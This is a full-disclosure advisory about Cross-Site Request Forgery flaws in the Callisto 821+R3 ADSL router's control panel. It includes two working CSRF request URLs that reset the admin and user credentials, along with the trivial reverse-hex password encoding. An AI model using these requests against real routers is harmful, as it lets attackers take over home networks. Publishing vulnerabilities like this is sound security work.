Callisto 821+R3 Cross Site Request Forgery

`Hello list!  
  
After all my advisories about vulnerabilities in Callisto 821+   
(http://seclists.org/fulldisclosure/2011/Aug/1) and recent advisory about   
Callisto 821+R3, here is new one. Because vendor ignored in 2011 all my   
letters and subsequent my public disclosure of vulnerabilities and new   
devices are vulnerable as well, so I disclosed vulnerabilities in Callisto   
821+R3 ADSL Router.  
  
These are Cross-Site Request Forgery vulnerabilities. The whole control   
panel is vulnerable to CSRF, here are two vulnerabilities.  
  
SecurityVulns ID: 11700.  
  
-------------------------  
Affected products:  
-------------------------  
  
Vulnerable is the next model: Callisto 821+R3, Firmware Version: ZXDSL   
831IIV7.5.1a_E09_UA. This model with other firmware and also other models of   
Callisto also must be vulnerable.  
  
----------  
Details:  
----------  
  
Cross-Site Request Forgery (WASC-09):  
  
For changing login and password of admin:  
  
http://site/adminpasswd.cgi?action=save&sysUserName=admin&sysPassword=E696D64616  
  
For changing login and password of user:  
  
http://site/userpasswd.cgi?action=save&usrUserName=user&usrPassword=27563757  
  
Parameters sysPassword and usrPassword contain encrypted password. The   
cipher is simple - this is hex values of chars in reverse order.  
  
I mentioned about these vulnerabilities at my site   
(http://websecurity.com.ua/7975/).  
  
Best wishes & regards,  
MustLive  
Administrator of Websecurity web site  
http://websecurity.com.ua   
`